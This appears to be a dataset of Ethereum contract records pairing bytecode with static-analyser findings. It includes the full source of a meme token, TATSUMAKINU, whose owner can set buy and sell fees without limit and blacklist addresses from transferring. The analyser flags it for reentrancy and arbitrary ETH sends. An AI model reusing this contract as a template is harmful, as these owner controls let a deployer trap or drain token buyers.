cd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cbbd3223b211d776ad00e2ea2aa31221b7df969cff998bd139a3d598bb411bef64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,194 |
0x92a6f82adba2cb4bd79003b04180ddbcbeac63dc | //SPDX-License-Identifier: UNLICENSED
/**
戦慄のタツマキ(TATSUMAKINU)
Terrible Tornado Tatsumaki is the S-Class Rank 2 professional hero of the hero association. She is recognized as one of the Hero Association's most powerful heroes.
Are you ready for her appearance on blockchain?
https://t.me/tatsumakinu
https://tatsumakinu.com
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TATSUMAKINU is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"TATSUMAKINU";
string public constant symbol = unicode"TATSUMAKINU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen);
if((_launchedAt + (2 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 20000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external onlyOwner(){
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner(){
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610543578063db92dbb614610558578063dcb0e0ad1461056d578063dd62ed3e1461058d57600080fd5b8063a9059cbb146104ce578063b2289c62146104ee578063b515566a1461050e578063c3c8cd801461052e57600080fd5b80638da5cb5b116100d15780638da5cb5b1461047b57806394b8d8f21461049957806395d89b41146101e85780639e78fb4f146104b957600080fd5b80636fc3eaec1461041157806370a0823114610426578063715018a61461044657806373f54a111461045b57600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038d57806345596e2e146103a357806349bd5a5e146103c3578063590f897e146103fb57600080fd5b8063313ce567146102f757806331c2d8471461031e57806332d873d81461033e5780633bbac5791461035457600080fd5b806318160ddd116101b657806318160ddd146102875780631940d020146102ac57806323b872dd146102c257806327f3a72a146102e257600080fd5b806306fdde03146101e8578063095ea7b3146102355780630b78f9c01461026557600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021f6040518060400160405280600b81526020016a54415453554d414b494e5560a81b81525081565b60405161022c919061169a565b60405180910390f35b34801561024157600080fd5b50610255610250366004611714565b6105d3565b604051901515815260200161022c565b34801561027157600080fd5b50610285610280366004611740565b6105e9565b005b34801561029357600080fd5b50670de0b6b3a76400005b60405190815260200161022c565b3480156102b857600080fd5b5061029e600c5481565b3480156102ce57600080fd5b506102556102dd366004611762565b610663565b3480156102ee57600080fd5b5061029e6106b7565b34801561030357600080fd5b5061030c600981565b60405160ff909116815260200161022c565b34801561032a57600080fd5b506102856103393660046117b9565b6106c7565b34801561034a57600080fd5b5061029e600d5481565b34801561036057600080fd5b5061025561036f36600461187e565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039957600080fd5b5061029e60095481565b3480156103af57600080fd5b506102856103be36600461189b565b61075d565b3480156103cf57600080fd5b506008546103e3906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b34801561040757600080fd5b5061029e600a5481565b34801561041d57600080fd5b50610285610803565b34801561043257600080fd5b5061029e61044136600461187e565b610810565b34801561045257600080fd5b5061028561082b565b34801561046757600080fd5b5061028561047636600461187e565b61089f565b34801561048757600080fd5b506000546001600160a01b03166103e3565b3480156104a557600080fd5b50600e546102559062010000900460ff1681565b3480156104c557600080fd5b50610285610917565b3480156104da57600080fd5b506102556104e9366004611714565b610b1c565b3480156104fa57600080fd5b506007546103e3906001600160a01b031681565b34801561051a57600080fd5b506102856105293660046117b9565b610b29565b34801561053a57600080fd5b50610285610c42565b34801561054f57600080fd5b50610285610c58565b34801561056457600080fd5b5061029e610e49565b34801561057957600080fd5b506102856105883660046118c2565b610e61565b34801561059957600080fd5b5061029e6105a83660046118df565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006105e0338484610ede565b50600192915050565b6000546001600160a01b0316331461061c5760405162461bcd60e51b815260040161061390611918565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610670848484611002565b6001600160a01b038416600090815260036020908152604080832033845290915281205461069f908490611963565b90506106ac853383610ede565b506001949350505050565b60006106c230610810565b905090565b6000546001600160a01b031633146106f15760405162461bcd60e51b815260040161061390611918565b60005b8151811015610759576000600560008484815181106107155761071561197a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075181611990565b9150506106f4565b5050565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161061390611918565b600081116107c75760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610613565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761080d81611367565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108555760405162461bcd60e51b815260040161061390611918565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c95760405162461bcd60e51b815260040161061390611918565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6906020016107f8565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161061390611918565b600e5460ff161561098e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610613565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1791906119ab565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8891906119ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ad5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af991906119ab565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b60006105e0338484611002565b6000546001600160a01b03163314610b535760405162461bcd60e51b815260040161061390611918565b60005b81518110156107595760085482516001600160a01b0390911690839083908110610b8257610b8261197a565b60200260200101516001600160a01b031614158015610bd3575060065482516001600160a01b0390911690839083908110610bbf57610bbf61197a565b60200260200101516001600160a01b031614155b15610c3057600160056000848481518110610bf057610bf061197a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c3a81611990565b915050610b56565b6000610c4d30610810565b905061080d816113a1565b6000546001600160a01b03163314610c825760405162461bcd60e51b815260040161061390611918565b600e5460ff1615610ccf5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610613565b600654610cef9030906001600160a01b0316670de0b6b3a7640000610ede565b6006546001600160a01b031663f305d7194730610d0b81610810565b600080610d206000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d88573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dad91906119c8565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2a91906119f6565b50600e805460ff1916600117905542600d5566470de4df820000600c55565b6008546000906106c2906001600160a01b0316610810565b6000546001600160a01b03163314610e8b5760405162461bcd60e51b815260040161061390611918565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016107f8565b6001600160a01b038316610f405760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610613565b6001600160a01b038216610fa15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610613565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561102857600080fd5b6001600160a01b03831661108c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610613565b6001600160a01b0382166110ee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610613565b600081116111505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610613565b600080546001600160a01b0385811691161480159061117d57506000546001600160a01b03848116911614155b15611308576008546001600160a01b0385811691161480156111ad57506006546001600160a01b03848116911614155b80156111d257506001600160a01b03831660009081526004602052604090205460ff16155b1561122157600e5460ff166111e657600080fd5b42600d5460786111f69190611a13565b111561121d57600c5461120884610810565b6112129084611a13565b111561121d57600080fd5b5060015b600e54610100900460ff1615801561123b5750600e5460ff165b801561125557506008546001600160a01b03858116911614155b1561130857600061126530610810565b905080156112f157600e5462010000900460ff16156112e857600b546008546064919061129a906001600160a01b0316610810565b6112a49190611a2b565b6112ae9190611a4a565b8111156112e857600b54600854606491906112d1906001600160a01b0316610810565b6112db9190611a2b565b6112e59190611a4a565b90505b6112f1816113a1565b4780156113015761130147611367565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061134a57506001600160a01b03841660009081526004602052604090205460ff165b15611353575060005b6113608585858486611515565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610759573d6000803e3d6000fd5b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e5576113e561197a565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561143e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146291906119ab565b816001815181106114755761147561197a565b6001600160a01b03928316602091820292909201015260065461149b9130911684610ede565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906114d4908590600090869030904290600401611a6c565b600060405180830381600087803b1580156114ee57600080fd5b505af1158015611502573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b60006115218383611537565b905061152f8686868461155b565b505050505050565b600080831561155457821561154f5750600954611554565b50600a545b9392505050565b6000806115688484611638565b6001600160a01b0388166000908152600260205260409020549193509150611591908590611963565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546115c1908390611a13565b6001600160a01b0386166000908152600260205260409020556115e38161166c565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162891815260200190565b60405180910390a3505050505050565b6000808060646116488587611a2b565b6116529190611a4a565b905060006116608287611963565b96919550909350505050565b30600090815260026020526040902054611687908290611a13565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156116c7578581018301518582016040015282016116ab565b818111156116d9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461080d57600080fd5b803561170f816116ef565b919050565b6000806040838503121561172757600080fd5b8235611732816116ef565b946020939093013593505050565b6000806040838503121561175357600080fd5b50508035926020909101359150565b60008060006060848603121561177757600080fd5b8335611782816116ef565b92506020840135611792816116ef565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117cc57600080fd5b823567ffffffffffffffff808211156117e457600080fd5b818501915085601f8301126117f857600080fd5b81358181111561180a5761180a6117a3565b8060051b604051601f19603f8301168101818110858211171561182f5761182f6117a3565b60405291825284820192508381018501918883111561184d57600080fd5b938501935b828510156118725761186385611704565b84529385019392850192611852565b98975050505050505050565b60006020828403121561189057600080fd5b8135611554816116ef565b6000602082840312156118ad57600080fd5b5035919050565b801515811461080d57600080fd5b6000602082840312156118d457600080fd5b8135611554816118b4565b600080604083850312156118f257600080fd5b82356118fd816116ef565b9150602083013561190d816116ef565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156119755761197561194d565b500390565b634e487b7160e01b600052603260045260246000fd5b60006000198214156119a4576119a461194d565b5060010190565b6000602082840312156119bd57600080fd5b8151611554816116ef565b6000806000606084860312156119dd57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a0857600080fd5b8151611554816118b4565b60008219821115611a2657611a2661194d565b500190565b6000816000190483118215151615611a4557611a4561194d565b500290565b600082611a6757634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611abc5784516001600160a01b031683529383019391830191600101611a97565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122017a9b7a9fe28e6f1a466c0db611403003e1e0862fbd217aa09e03f3746a96d9464736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,195 |
0xbc0a40d1eee51c49bfa4f88a3f28417a53de5044 | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract DET {
using SafeMath for uint256;
/*==============================
= DET EVENTS =
==============================*/
event Approved(
address indexed spender,
address indexed recipient,
uint256 tokens
);
event Buy(
address indexed buyer,
uint256 tokensTransfered,
uint256 tokenToTransfer,
uint256 referralBal
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event Sells(
address indexed seller,
uint256 calculatedEtherTransfer,
uint256 tokens
);
event stake(
address indexed staker,
uint256 amount,
uint256 timing
);
/*=====================================
= DET CONFIGURABLES =
=====================================*/
string public token_name;
string public token_symbol;
uint8 public decimal;
uint256 public token_price = 190000000000000;
uint256 public basePrice0 = 90000000000000;
uint256 public basePrice1 = 190000000000000;
uint256 public basePrice2 = 290000000000000;
uint256 public basePrice3 = 350000000000000;
uint256 public basePrice4 = 390000000000000;
uint256 public basePrice5 = 480000000000000;
uint256 public basePrice6 = 580000000000000;
uint256 public basePrice7 = 1400000000000000;
uint256 public basePrice8 = 2300000000000000;
uint256 public basePrice9 = 4800000000000000;
uint256 public basePrice10 = 9700000000000000;
uint256 public basePrice11= 19000000000000000;
uint256 public basePrice12 = 58000000000000000;
uint256 public basePrice13 = 140000000000000000;
uint256 public basePrice14 = 580000000000000000;
uint256 public basePrice15 = 1550000000000000000;
